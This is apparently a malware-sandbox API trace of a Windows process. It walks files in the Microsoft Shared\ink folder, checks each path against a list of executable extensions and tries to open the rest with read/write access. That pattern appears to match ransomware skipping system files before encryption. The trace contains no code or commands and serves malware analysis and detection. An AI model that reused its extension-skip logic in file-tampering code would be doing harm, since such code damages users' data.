	[0078.169] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dce8 | out: hHeap=0x300000) returned 1
	[0078.169] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8c80
	[0078.169] lstrlenW (lpString=".scr") returned 4
	[0078.169] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml", lpSrch=".scr") returned 0x0
	[0078.169] lstrlenW (lpString=".cmd") returned 4
	[0078.169] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml", lpSrch=".cmd") returned 0x0
	[0078.169] lstrlenW (lpString=".dll") returned 4
	[0078.169] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml", lpSrch=".dll") returned 0x0
	[0078.169] lstrlenW (lpString=".bat") returned 4
	[0078.169] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml", lpSrch=".bat") returned 0x0
	[0078.169] lstrlenW (lpString=".cpl") returned 4
	[0078.169] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml", lpSrch=".cpl") returned 0x0
	[0078.169] lstrlenW (lpString=".sys") returned 4
	[0078.169] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml", lpSrch=".sys") returned 0x0
	[0078.169] lstrlenW (lpString=".msc") returned 4
	[0078.170] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml", lpSrch=".msc") returned 0x0
	[0078.170] lstrlenW (lpString=".com") returned 4
	[0078.170] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml", lpSrch=".com") returned 0x0
	[0078.170] lstrlenW (lpString=".lnk") returned 4
	[0078.170] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml", lpSrch=".lnk") returned 0x0
	[0078.170] lstrlenW (lpString=".msp") returned 4
	[0078.170] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml", lpSrch=".msp") returned 0x0
	[0078.170] lstrlenW (lpString=".pif") returned 4
	[0078.170] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml", lpSrch=".pif") returned 0x0
	[0078.170] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.170] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.170] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.182] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8c80 | out: hHeap=0x300000) returned 1
	[0078.182] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a77b8 | out: hHeap=0x300000) returned 1
	[0078.183] RtlWakeConditionVariable () returned 0x365f70
	[0078.183] GetCurrentThreadId () returned 0x9f4
	[0078.183] GetCurrentThreadId () returned 0x9f4
	[0078.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0078.183] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6928 | out: hHeap=0x300000) returned 1
	[0078.183] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dd90 | out: hHeap=0x300000) returned 1
	[0078.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6928
	[0078.183] lstrlenW (lpString=".scr") returned 4
	[0078.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui", lpSrch=".scr") returned 0x0
	[0078.183] lstrlenW (lpString=".cmd") returned 4
	[0078.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui", lpSrch=".cmd") returned 0x0
	[0078.183] lstrlenW (lpString=".dll") returned 4
	[0078.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui", lpSrch=".dll") returned=".dll.mui"
	[0078.183] lstrlenW (lpString=".dll.mui") returned 8
	[0078.184] lstrlenW (lpString=".bat") returned 4
	[0078.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui", lpSrch=".bat") returned 0x0
	[0078.184] lstrlenW (lpString=".cpl") returned 4
	[0078.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui", lpSrch=".cpl") returned 0x0
	[0078.184] lstrlenW (lpString=".sys") returned 4
	[0078.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui", lpSrch=".sys") returned 0x0
	[0078.184] lstrlenW (lpString=".msc") returned 4
	[0078.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui", lpSrch=".msc") returned 0x0
	[0078.184] lstrlenW (lpString=".com") returned 4
	[0078.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui", lpSrch=".com") returned 0x0
	[0078.184] lstrlenW (lpString=".lnk") returned 4
	[0078.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui", lpSrch=".lnk") returned 0x0
	[0078.184] lstrlenW (lpString=".msp") returned 4
	[0078.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui", lpSrch=".msp") returned 0x0
	[0078.184] lstrlenW (lpString=".pif") returned 4
	[0078.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui", lpSrch=".pif") returned 0x0
	[0078.184] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0078.184] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.219] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6928 | out: hHeap=0x300000) returned 1
	[0078.220] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7450 | out: hHeap=0x300000) returned 1
	[0078.220] RtlWakeConditionVariable () returned 0x365f70
	[0078.227] GetCurrentThreadId () returned 0x9f4
	[0078.227] GetCurrentThreadId () returned 0x9f4
	[0078.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abab0
	[0078.227] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abc00 | out: hHeap=0x300000) returned 1
	[0078.227] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39de00 | out: hHeap=0x300000) returned 1
	[0078.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abc00
	[0078.227] lstrlenW (lpString=".scr") returned 4
	[0078.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi", lpSrch=".scr") returned 0x0
	[0078.227] lstrlenW (lpString=".cmd") returned 4
	[0078.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi", lpSrch=".cmd") returned 0x0
	[0078.227] lstrlenW (lpString=".dll") returned 4
	[0078.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi", lpSrch=".dll") returned 0x0
	[0078.227] lstrlenW (lpString=".bat") returned 4
	[0078.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi", lpSrch=".bat") returned 0x0
	[0078.227] lstrlenW (lpString=".cpl") returned 4
	[0078.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi", lpSrch=".cpl") returned 0x0
	[0078.227] lstrlenW (lpString=".sys") returned 4
	[0078.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi", lpSrch=".sys") returned 0x0
	[0078.227] lstrlenW (lpString=".msc") returned 4
	[0078.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi", lpSrch=".msc") returned 0x0
	[0078.228] lstrlenW (lpString=".com") returned 4
	[0078.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi", lpSrch=".com") returned 0x0
	[0078.228] lstrlenW (lpString=".lnk") returned 4
	[0078.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi", lpSrch=".lnk") returned 0x0
	[0078.228] lstrlenW (lpString=".msp") returned 4
	[0078.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi", lpSrch=".msp") returned 0x0
	[0078.228] lstrlenW (lpString=".pif") returned 4
	[0078.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi", lpSrch=".pif") returned 0x0
	[0078.228] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi", lpSrch="msp\r\n.pif") returned 0x0
	[0078.228] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.236] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abc00 | out: hHeap=0x300000) returned 1
	[0078.236] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abab0 | out: hHeap=0x300000) returned 1
	[0078.236] RtlWakeConditionVariable () returned 0x365f70
	[0078.236] GetCurrentThreadId () returned 0x9f4
	[0078.236] GetCurrentThreadId () returned 0x9f4
	[0078.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abab0
	[0078.236] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abca8 | out: hHeap=0x300000) returned 1
	[0078.236] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ddc8 | out: hHeap=0x300000) returned 1
	[0078.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abca8
	[0078.236] lstrlenW (lpString=".scr") returned 4
	[0078.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi", lpSrch=".scr") returned 0x0
	[0078.237] lstrlenW (lpString=".cmd") returned 4
	[0078.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi", lpSrch=".cmd") returned 0x0
	[0078.237] lstrlenW (lpString=".dll") returned 4
	[0078.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi", lpSrch=".dll") returned 0x0
	[0078.237] lstrlenW (lpString=".bat") returned 4
	[0078.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi", lpSrch=".bat") returned 0x0
	[0078.237] lstrlenW (lpString=".cpl") returned 4
	[0078.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi", lpSrch=".cpl") returned 0x0
	[0078.237] lstrlenW (lpString=".sys") returned 4
	[0078.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi", lpSrch=".sys") returned 0x0
	[0078.237] lstrlenW (lpString=".msc") returned 4
	[0078.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi", lpSrch=".msc") returned 0x0
	[0078.237] lstrlenW (lpString=".com") returned 4
	[0078.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi", lpSrch=".com") returned 0x0
	[0078.237] lstrlenW (lpString=".lnk") returned 4
	[0078.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi", lpSrch=".lnk") returned 0x0
	[0078.237] lstrlenW (lpString=".msp") returned 4
	[0078.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi", lpSrch=".msp") returned 0x0
	[0078.237] lstrlenW (lpString=".pif") returned 4
	[0078.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi", lpSrch=".pif") returned 0x0
	[0078.237] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi", lpSrch="msp\r\n.pif") returned 0x0
	[0078.237] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.240] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abca8 | out: hHeap=0x300000) returned 1
	[0078.240] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abab0 | out: hHeap=0x300000) returned 1
	[0078.240] RtlWakeConditionVariable () returned 0x365f70
	[0078.240] GetCurrentThreadId () returned 0x9f4
	[0078.240] GetCurrentThreadId () returned 0x9f4
	[0078.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abab0
	[0078.240] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abd50 | out: hHeap=0x300000) returned 1
	[0078.240] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9c58 | out: hHeap=0x300000) returned 1
	[0078.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abd50
	[0078.240] lstrlenW (lpString=".scr") returned 4
	[0078.240] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi", lpSrch=".scr") returned 0x0
	[0078.240] lstrlenW (lpString=".cmd") returned 4
	[0078.240] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi", lpSrch=".cmd") returned 0x0
	[0078.240] lstrlenW (lpString=".dll") returned 4
	[0078.240] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi", lpSrch=".dll") returned 0x0
	[0078.240] lstrlenW (lpString=".bat") returned 4
	[0078.240] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi", lpSrch=".bat") returned 0x0
	[0078.240] lstrlenW (lpString=".cpl") returned 4
	[0078.240] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi", lpSrch=".cpl") returned 0x0
	[0078.240] lstrlenW (lpString=".sys") returned 4
	[0078.240] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi", lpSrch=".sys") returned 0x0
	[0078.240] lstrlenW (lpString=".msc") returned 4
	[0078.240] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi", lpSrch=".msc") returned 0x0
	[0078.241] lstrlenW (lpString=".com") returned 4
	[0078.241] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi", lpSrch=".com") returned 0x0
	[0078.241] lstrlenW (lpString=".lnk") returned 4
	[0078.241] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi", lpSrch=".lnk") returned 0x0
	[0078.241] lstrlenW (lpString=".msp") returned 4
	[0078.241] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi", lpSrch=".msp") returned 0x0
	[0078.241] lstrlenW (lpString=".pif") returned 4
	[0078.241] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi", lpSrch=".pif") returned 0x0
	[0078.241] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.241] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi", lpSrch="msp\r\n.pif") returned 0x0
	[0078.241] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.243] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abd50 | out: hHeap=0x300000) returned 1
	[0078.243] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abab0 | out: hHeap=0x300000) returned 1
	[0078.243] RtlWakeConditionVariable () returned 0x365f70
	[0078.243] GetCurrentThreadId () returned 0x9f4
	[0078.243] GetCurrentThreadId () returned 0x9f4
	[0078.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abab0
	[0078.243] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abdf8 | out: hHeap=0x300000) returned 1
	[0078.244] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9c90 | out: hHeap=0x300000) returned 1
	[0078.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abdf8
	[0078.244] lstrlenW (lpString=".scr") returned 4
	[0078.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi", lpSrch=".scr") returned 0x0
	[0078.244] lstrlenW (lpString=".cmd") returned 4
	[0078.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi", lpSrch=".cmd") returned 0x0
	[0078.244] lstrlenW (lpString=".dll") returned 4
	[0078.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi", lpSrch=".dll") returned 0x0
	[0078.244] lstrlenW (lpString=".bat") returned 4
	[0078.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi", lpSrch=".bat") returned 0x0
	[0078.244] lstrlenW (lpString=".cpl") returned 4
	[0078.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi", lpSrch=".cpl") returned 0x0
	[0078.244] lstrlenW (lpString=".sys") returned 4
	[0078.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi", lpSrch=".sys") returned 0x0
	[0078.244] lstrlenW (lpString=".msc") returned 4
	[0078.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi", lpSrch=".msc") returned 0x0
	[0078.244] lstrlenW (lpString=".com") returned 4
	[0078.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi", lpSrch=".com") returned 0x0
	[0078.244] lstrlenW (lpString=".lnk") returned 4
	[0078.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi", lpSrch=".lnk") returned 0x0
	[0078.244] lstrlenW (lpString=".msp") returned 4
	[0078.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi", lpSrch=".msp") returned 0x0
	[0078.244] lstrlenW (lpString=".pif") returned 4
	[0078.244] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi", lpSrch=".pif") returned 0x0
	[0078.244] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi", lpSrch="msp\r\n.pif") returned 0x0
	[0078.245] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.247] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abdf8 | out: hHeap=0x300000) returned 1
	[0078.247] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abab0 | out: hHeap=0x300000) returned 1
	[0078.247] RtlWakeConditionVariable () returned 0x365f70
	[0078.247] GetCurrentThreadId () returned 0x9f4
	[0078.247] GetCurrentThreadId () returned 0x9f4
	[0078.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7980
	[0078.247] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7260 | out: hHeap=0x300000) returned 1
	[0078.247] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9cc8 | out: hHeap=0x300000) returned 1
	[0078.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0078.247] lstrlenW (lpString=".scr") returned 4
	[0078.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi", lpSrch=".scr") returned 0x0
	[0078.247] lstrlenW (lpString=".cmd") returned 4
	[0078.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi", lpSrch=".cmd") returned 0x0
	[0078.247] lstrlenW (lpString=".dll") returned 4
	[0078.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi", lpSrch=".dll") returned 0x0
	[0078.247] lstrlenW (lpString=".bat") returned 4
	[0078.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi", lpSrch=".bat") returned 0x0
	[0078.247] lstrlenW (lpString=".cpl") returned 4
	[0078.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi", lpSrch=".cpl") returned 0x0
	[0078.248] lstrlenW (lpString=".sys") returned 4
	[0078.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi", lpSrch=".sys") returned 0x0
	[0078.248] lstrlenW (lpString=".msc") returned 4
	[0078.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi", lpSrch=".msc") returned 0x0
	[0078.248] lstrlenW (lpString=".com") returned 4
	[0078.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi", lpSrch=".com") returned 0x0
	[0078.248] lstrlenW (lpString=".lnk") returned 4
	[0078.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi", lpSrch=".lnk") returned 0x0
	[0078.248] lstrlenW (lpString=".msp") returned 4
	[0078.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi", lpSrch=".msp") returned 0x0
	[0078.248] lstrlenW (lpString=".pif") returned 4
	[0078.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi", lpSrch=".pif") returned 0x0
	[0078.248] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi", lpSrch="msp\r\n.pif") returned 0x0
	[0078.248] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.254] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7260 | out: hHeap=0x300000) returned 1
	[0078.254] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7980 | out: hHeap=0x300000) returned 1
	[0078.254] RtlWakeConditionVariable () returned 0x365f70
	[0078.254] GetCurrentThreadId () returned 0x9f4
	[0078.254] GetCurrentThreadId () returned 0x9f4
	[0078.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abab0
	[0078.254] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abea0 | out: hHeap=0x300000) returned 1
	[0078.254] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9d38 | out: hHeap=0x300000) returned 1
	[0078.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abea0
	[0078.254] lstrlenW (lpString=".scr") returned 4
	[0078.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui", lpSrch=".scr") returned 0x0
	[0078.254] lstrlenW (lpString=".cmd") returned 4
	[0078.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui", lpSrch=".cmd") returned 0x0
	[0078.255] lstrlenW (lpString=".dll") returned 4
	[0078.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui", lpSrch=".dll") returned=".dll.mui"
	[0078.255] lstrlenW (lpString=".dll.mui") returned 8
	[0078.255] lstrlenW (lpString=".bat") returned 4
	[0078.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui", lpSrch=".bat") returned 0x0
	[0078.255] lstrlenW (lpString=".cpl") returned 4
